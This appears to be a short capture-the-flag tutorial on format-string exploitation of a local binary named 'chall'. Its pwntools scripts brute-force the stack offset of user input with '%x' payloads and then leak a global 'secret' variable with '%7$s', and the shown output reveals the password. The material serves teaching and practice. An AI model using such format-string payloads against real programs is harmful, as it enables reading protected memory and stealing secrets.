Data Leak
Last updated
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
$ python3 test.py
[+] User input is at offset : 7$ readelf -s chall | grep secret
57: 0804c02c 16 OBJECT GLOBAL DEFAULT 23 secretfrom pwn import *
# Start a new process of the "chall" binary
p = process('./chall')
# Convert the address 0x0804c02c to a packed 32-bit integer
addr = p32(0x0804c02c)
# Construct the payload by concatenating the packed integer and the string "%7$s"
payload = addr + b"%7$s"
# Send the payload to the process
p.sendline(payload)
# Read and log the output of the process
log.success(p.clean())
# Close the process
p.close()
$ python3 exploit.py
[+] b'Enter password: Permission denied using password :\n,\xc0\x04\x08SecretPassword!\n'